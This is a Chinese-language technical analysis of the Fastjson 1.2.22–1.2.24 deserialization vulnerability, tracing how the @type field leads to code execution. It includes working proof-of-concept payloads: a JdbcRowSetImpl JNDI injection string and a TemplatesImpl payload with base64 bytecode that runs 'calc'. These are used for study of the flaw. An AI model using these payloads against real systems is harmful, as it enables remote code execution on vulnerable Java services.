Fastjson反序列化漏洞深度分析
概述
Fastjson是阿里巴巴的⼀个开源Java库,提供了Java对象与Json相互转换的API
toJSONString()方法:将Json对象转换成Json字符串;
parseObject()方法:将Json字符串转换成Json对象;
pase()方法:将Json字符串转换为Json对象
本文主要分析一下当我们打了payload之后具体是怎么触发反序列化的,为什么可以执行命令
Fastjson反序列化
定义⼀个person类
package org.example;
public class Person { private String name; private int age;
public Person(){ System.out.println("constructor run"); } public void setName(String name) { System.out.println("setName run"); this.name = name; } public String getName() { System.out.println("getnNme run"); return this.name; } public void setAge(int age) { System.out.println("setAge run"); this.age = age; } public int getAge(){ System.out.println("getAge run"); return this.age; }}
再定义⼀个Testperson类
package org.example;import com.alibaba.fastjson.JSON;
public class Testperson { public static void main(String[] args) { Person person = new Person(); person.setAge(18); person.setName("zhangsan"); System.out.println("----------------------------------------------"); //序列化 String jsonString1 = JSON.toJSONString(person); // String jsonString1 = JSON.toJSONString(person, SerializerFeature.WriteClassName); System.out.println(jsonString1);
// String jsonString1 = "{\"age\":18,\"name\":\"zhangsan\"}"; // String jsonString1 = "{\"@type\":\"Person\",\"age\":18,\"name\":\"zhangsan\"}"; //反序列化 Object person1 = JSON.parse(jsonString1); System.out.println(person1); }}
运行结果
constructor runsetAge runsetName run----------------------------------------------getAge rungetnNme run{"@type":"Person","age":18,"name":"zhangsan"}constructor runsetAge runsetName runPerson@3d71d552
结论:
在序列化的时候,Fastjson会调用指定类中的get方法,被private修饰且没有get方法的属性不会被序列化,
在反序列化的时候,fastjson会调用指定属性的set方法,并且public修饰的属性全部会被赋值
Fastjson反序列化漏洞复现
漏洞是利用fastjson在使用autotype处理json对象的时候,未对@type字段进行完全的安全性验证,导致攻击者可以传入危险类,并调用危险方法连接远程rmi主机,通过其中的恶意类执行代码。
JdbcRowSetImpl链分析
JdbcRowSetImpl的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只需要Json.parse(input) 即可进行命令执行。但是使用JNDI注入对JDK的版本有⼀定限制
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
漏洞复现
漏洞版本:fastjson 1.22-1.24
利用链:JdbcRowSetImpl
poc:
import com.alibaba.fastjson.JSON;public class JdbcRowSetImplPoc { public static void main(String[] args) { String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:8085/MPfKfjem\", \"autoCommit\":true}"; JSON.parse(PoC); }}
从前面的测试中我们可以知道,FastJson反序列化的过程中会调用指定属性的get、set方法。
@type:目标反序列化类名;
dataSourceName:JNDI远程恶意服务,反序列化时会调用setDataSourceName方法;
autoCommit:在反序列化时,会去调用setAutoCommit方法
调试中我们可以看到dataSourceName参数在解析中会调用setDataSourceName方法赋值
而autoCommit参数也会调用setAutoCommit方法
这里会执行到else这个分支,然后调用this.connect()方法,跟进该方法
跟踪到这里发现执行了lookup方法,而lookup方法传入了this.getDataSourceName()参数,这个参数返回的是dataSourceName的值,而这个dataSourceName是前面setDataSourceName方法设置的,是⼀个可控的参数,所以这里可以使用JNDI注入从而达到命令执行
Templateslmpl链分析
漏洞复现
漏洞版本:fastjson 1.22-1.24
利用链:TemplatesImpl
poc:
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class TemplatesImplPoc { public static void main(String[] args) { ParserConfig config = new ParserConfig(); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHACEMACIAIwEABGNhbGMMACQAJQEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACgAEAAsADQAMAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEAABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGAAIABkADAAAAAQAAQAUAAEAFQAAAAIAFg==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); }}
其中_bytecodes字段对应的数据的是下面这段代码,编译后进行base64加密后的数据
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }
@Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { }
public static void main(String[] args) throws Exception { Test t = new Test(); }}
思考:
1. 如果是只对_bytecodes插⼊恶意代码为什么需要构造这么多的值
2. _bytecodes中的值为什么需要进行Base64加密
3. 在反序列化的时候为什么要加入Feature.SupportNonPublicField参数值
从源码可以看到"_name、 tractory、 outputProperties、 bytecodes"这几个参数都是private修饰的私有变量,并且name、_tractory、_bytecodes参数没有对应的set方法,必须加入Feature.SupportNonPublicField属性在parseObject中才能触发。由此可以看出TemplatesImpl链的利用条件比较苛刻,需要开启Feature.SupportNonPublicField选项才能利用
@type:用于存放反序列化时的目标类型,这里指定的是TemplatesImpl这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行
_bytecodes:继承AbstractTranslet类的恶意类字节码,并且使用Base64编码
_name:调用getTransletInstance时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了
_tfactory:defineTransletClasses中会调用其getExternalExtensionsMap方法,为null会出现异常
_outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其getOutputProperties方法,导致bytecodes字节码成功实例化,造成命令执行
漏洞断点分析
下断点开始调试
public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) { return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features); }
这里传入了几个参数,并调用重载的parseObject方法。
input:json字符串
clazz:指定反序列化对象,这里是class
config:ParserConfig的实例对象
Feature:反序列化private属性所用到的⼀个参数
实例化了⼀个DefaultJSONParser(json解析器),然后调用parseObject方法,跟踪parseObject。
parseObject方法:
这里调用了deserialze方法,进行跟踪
这里首先判断是不是GenericArrayType类型,然后是⼀个三元判断type是否为Class对象并且type不等于Object.class,type不等于Serializable.class,条件为true调用parser.parseObject,条件为flase调用parser.parse。很显然这里会调用parser.parse方法。继续跟踪
parse方法:
这里将this.lexer赋值给lexer,这个this.lexer是在调用重载parseObject方法时,在实例化DefaultJSONParser对象的时候赋值的
这里获取当前字符串的第⼀个字符,如果第⼀个字符为"{"的话,token=12
然后是⼀个switch语句,根据token的值,调用重载的parseObject方法。
parseObject方法:这里就开始对json字符串进行解析了
这里先跳过空格和多个逗号(,),然后当ch == '"'时,通过lexer.scanSymbol方法获取key的值,也就是@type
然后判断key是否等于"@type",如果为真则获取key的值,也就是我们写的类名,接着调用TypeUtils.loadClass方法,通过反射将类名传进去获取⼀个类对象
跟进loadclass方法,看⼀下类是怎么加载的,先是在mappings缓存里找这个类,然后又判断类名是否以[开头,true的话就去掉,接着判断是否以L开头;结尾,true的话也是去掉这些,这里也为fastjson后续版本的绕过埋下了伏笔(1.2.41、1.2.42、1.2.43)
如果上面的情况都不满足的话,在这里获取⼀个类加载器,加载类之后放到mappings缓存里面,并返回 这个类,这里也是为后续版本的绕过埋下了伏笔
然后走到这里,调用this.config.getDeserializer(clazz)方法获取反序列化器
ObjectDeserializer deserializer = config.getDeserializer(clazz);return deserializer.deserialze(this, clazz, fieldName);
跟进getDeserializer方法,首先在缓存里获取反序列化器
这里可以看到它的构造方法里内置了⼀些反序列化器
再次调用重载的getDeserializer方法,首先还是在缓存中查找反序列化的类,最后调用this.createJavaBeanDeserializer(clazz, (Type)type)方法
跟进createJavaBeanDeserializer方法:
这里有⼀个asmEnable的属性,默认为true,他类似⼀个开关,用来控制是否启用ASM(ASM是⼀个用于操作Java字节码的框架。它是⼀个轻量级且高性能的字节码工具库,广泛用于在运行时生成和转换Java类的字节码)
下面的很多判断都是来改变这个asmEnable
最后调用了JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy)方法
跟进:这里先获取类的⼀些信息
(JSONType)clazz.getAnnotation(JSONType.class):获取JSONTye注解
getBuilderClass(jsonType) :通过JSONType注解获取类构造器
clazz.getDeclaredFields():获取类中所有的属性
clazz.getMethods():获取类中的⽅法
getDefaultConstructor(builderClass == null ? clazz : builderClass):获取默认构造方法
ListfieldList = new ArrayList():新建⼀个数组对象,⽤来存储所有符合要求字段
然后这里有3个for循环,分别用来获取set方法,public字段,get方法,然后将符合要求的字段添加到fieldList数组
set方法的查找方式:
方法名长度大于4
非静态方法
返回值为void或当前类
方法名以set开头
参数个数为1
get方法的查找方式:
方法名长度大于等于4
非静态方法
以get开头且第4个字母为大写
无传入参数
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
最后我们获取到了TemplatesImpl的getOutputProperties()方法
然后返回到com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze接着跟踪
经过重载后来到这里,开始遍历json中的内容
然后直接来到这里,调用this.parseField(parser, key, object, type, fieldValues)方法
跟进,这里调用this.smartMatch(key)方法获取字段对应的反序列化器(set、get方法)
然后有这样两行代码:
int mask = Feature.SupportNonPublicField.mask;if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) {
由于调用parseObject方法反序列化时,设置了Feature.SupportNonPublicField属性,这里经过判断后会进去到这个if分支里,如果未设置Feature.SupportNonPublicField属性,则会返回false
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
这里的if循环,主要就是遍历类中的所有字段,把修饰符不是final和static的字段放入这个extraFieldDeserializers反序列化器内
然后通过this.extraFieldDeserializers.get(key) --- 获取字段的反序列化器
通过field.setAccessible(true)方法设置私有字段可访问(private修饰的字段,在使用反射时不能直接访问)
再调用重载的((FieldDeserializer)fieldDeserializer).parseField()方法
跟进parseField()方法
1.通过this.getFieldValueDeserilizer(parser.getConfig())方法获取字段值的反序列化器
2.通过this.setValue(object, value)方法给字段赋值
跟进this.setValue()方法,这里有两个逻辑
1. 这里首先获取字段对应的set方法,通过method.invaka()方法进行赋值
2. 如果字段没有对应的set方法,method为null,然后获取字段,并通过field.set()方法对字段进行赋值
TemplatesImpl类内的调用链
通过invaka()方法会调用到getOutputProperties()方法
跟进newTransformer方法
这里调用了getTransletInstance方法
这里首先判断"_name"参数是否为空,为空返回null
然后调用defineTransletClasses方法
跟进defineTransletClasses
1.判断_bytecodes数组是否为空
2.创建⼀个TransletClassLoader对象loader
3.使用循环遍历_bytecodes数组,将每个字节码通过loader.defineClass方法加载为Class对象,并将其存储在_class数组中
然后回到getTransletInstance方法,这里使用AbstractTranslet translet =(AbstractTranslet)_class[_transletIndex].newInstance()创建⼀个新的AbstractTranslet对象,到这⾥恶意代码被加载
调用栈
tips
至于为什么是getOutputProperties()方法,而不是get_OutputProperties,因为在执行smartMatch()方法获取字段反序列化器的时候,如果匹配不到get_OutputPropertie,会把(_)和(-)替换为空继续进行匹配
还有最后⼀个问题:_bytecodes为什么需要进行base64编码的问题让我们回到parseField方法,在获取value值的时候调用了deserialze方法
跟踪deserialze方法,这里又调用了parser.parseArray方法
跟踪parser.parseArray,然后又调用了deserialze方法
跟进后发现,看到这里调用了lexer.bytesValue()方法
跟进lexer.bytesValue()方法,发现这里进行了base64解码
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。